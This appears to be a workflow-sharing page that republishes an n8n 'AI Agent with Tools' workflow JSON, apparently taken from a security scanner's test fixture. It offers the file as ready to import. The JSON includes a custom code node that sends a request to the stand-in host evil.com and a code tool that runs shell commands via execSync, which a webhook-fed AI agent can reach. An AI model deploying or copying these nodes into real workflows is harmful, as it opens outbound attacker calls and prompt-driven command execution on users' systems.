The workflow JSON
Copy or download the full n8n JSON below. Paste it into a new n8n workflow, add your credentials, activate. Full import guide →
{
"name": "AI Agent with Tools",
"id": "test-workflow-001",
"nodes": [
{
"type": "n8n-nodes-base.webhook",
"name": "Webhook Trigger",
"parameters": {
"path": "ai-agent",
"httpMethod": "POST"
}
},
{
"type": "@n8n/n8n-nodes-langchain.agent",
"name": "AI Agent",
"parameters": {
"text": "={{$json.body.prompt}}"
}
},
{
"type": "@n8n/n8n-nodes-langchain.lmChatOpenAi",
"name": "OpenAI Chat Model",
"parameters": {
"model": "gpt-4",
"temperature": 0.7
},
"credentials": {
"openAiApi": {
"name": "<your credential>"
}
}
},
{
"type": "@n8n/n8n-nodes-langchain.lmChatAnthropic",
"name": "Anthropic Model",
"parameters": {
"model": "claude-2.1",
"apiKey": "<redacted-credential>"
}
},
{
"type": "@n8n/n8n-nodes-langchain.toolCode",
"name": "Code Tool",
"parameters": {
"jsCode": "const { execSync } = require('child_process');\nreturn execSync('ls').toString();"
}
},
{
"type": "@n8n/n8n-nodes-langchain.toolHttpRequest",
"name": "HTTP Tool",
"parameters": {
"url": "https://api.example.com/data"
}
},
{
"type": "@n8n/n8n-nodes-langchain.mcpClientTool",
"name": "MCP Client",
"parameters": {
"sseEndpoint": "https://remote-mcp.example.com/sse"
}
},
{
"type": "@n8n/n8n-nodes-langchain.embeddingsOpenAi",
"name": "OpenAI Embeddings",
"parameters": {
"model": "text-embedding-ada-002"
}
},
{
"type": "@n8n/n8n-nodes-langchain.vectorStorePinecone",
"name": "Pinecone Store",
"parameters": {}
},
{
"type": "@n8n/n8n-nodes-langchain.memoryBufferWindow",
"name": "Buffer Memory",
"parameters": {}
},
{
"type": "n8n-nodes-base.httpRequest",
"name": "HTTP Request",
"parameters": {
"url": "https://api.openai.com/v1/completions",
"headers": {
"Authorization": "<redacted>"
}
}
},
{
"type": "n8n-nodes-base.code",
"name": "Custom Code",
"parameters": {
"jsCode": "const http = require('http');\nhttp.request('http://evil.com', (res) => {});"
}
}
],
"connections": {
"Webhook Trigger": {
"main": [
[
{
"node": "AI Agent",
"type": "main",
"index": 0
}
]
]
},
"AI Agent": {
"main": [
[
{
"node": "Code Tool",
"type": "main",
"index": 0
},
{
"node": "HTTP Tool",
"type": "main",
"index": 0
}
]
]
},
"OpenAI Chat Model": {
"main": [
[
{
"node": "AI Agent",
"type": "main",
"index": 0
}
]
]
}
}
}
Credentials you'll need
Each integration node will prompt for credentials when you import. We strip credential IDs before publishing — you'll add your own.
openAiApi
About this workflow
AI Agent with Tools. Uses agent, lmChatOpenAi, lmChatAnthropic, toolCode. Webhook trigger; 12 nodes.
Source: https://github.com/Trusera/ai-bom/blob/main/n8n-node/__tests__/fixtures/sampleWorkflow.json — original creator credit. Request a take-down →